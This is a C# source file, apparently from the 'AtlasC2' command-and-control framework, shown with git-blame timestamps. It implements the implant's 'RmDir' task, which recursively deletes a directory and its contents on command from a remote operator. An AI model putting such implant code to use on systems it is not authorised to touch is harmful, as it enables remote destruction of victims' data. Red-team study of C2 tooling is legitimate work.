AtlasC2/Implant/Tasks/Execute/Administration/Rmdir.cs

32 lines
936 B
C#
Raw Normal View History

2021-12-30 19:52:29 -08:00
using System.IO;
using Implant.Models;
2021-12-26 22:13:21 -08:00
namespace Implant.Tasks.Execute
{
2021-12-30 19:52:29 -08:00
internal class Rmdir : ImplantCommands
2021-12-26 22:13:21 -08:00
{
2021-12-30 19:52:29 -08:00
private string targetDir { get; set; }
public override string Name => "RmDir";
public override string Execute(ImplantTask task)
{
targetDir = task.Args;
2022-03-16 19:10:46 -07:00
var currentDir = Directory.GetCurrentDirectory();
if (!(targetDir.Contains(currentDir))) { targetDir = $"{currentDir}\\{task.Args}"; }
2021-12-30 19:52:29 -08:00
DirectoryInfo dirData = new DirectoryInfo(targetDir);
foreach(FileInfo cFile in dirData.GetFiles()) { cFile.Delete(); }
2022-01-03 18:00:13 -08:00
foreach(DirectoryInfo cDir in dirData.GetDirectories()) { cDir.Delete(true); }
Directory.Delete(targetDir, true);
2021-12-30 19:52:29 -08:00
2022-03-16 19:10:46 -07:00
if (!(dirData.Exists)) { return $"[*] {targetDir} removed\n"; }
2022-01-03 18:00:13 -08:00
return $"[-] Failed to remove {targetDir}\n";
2021-12-30 19:52:29 -08:00
}
2021-12-26 22:13:21 -08:00
}
2021-12-30 19:52:29 -08:00
}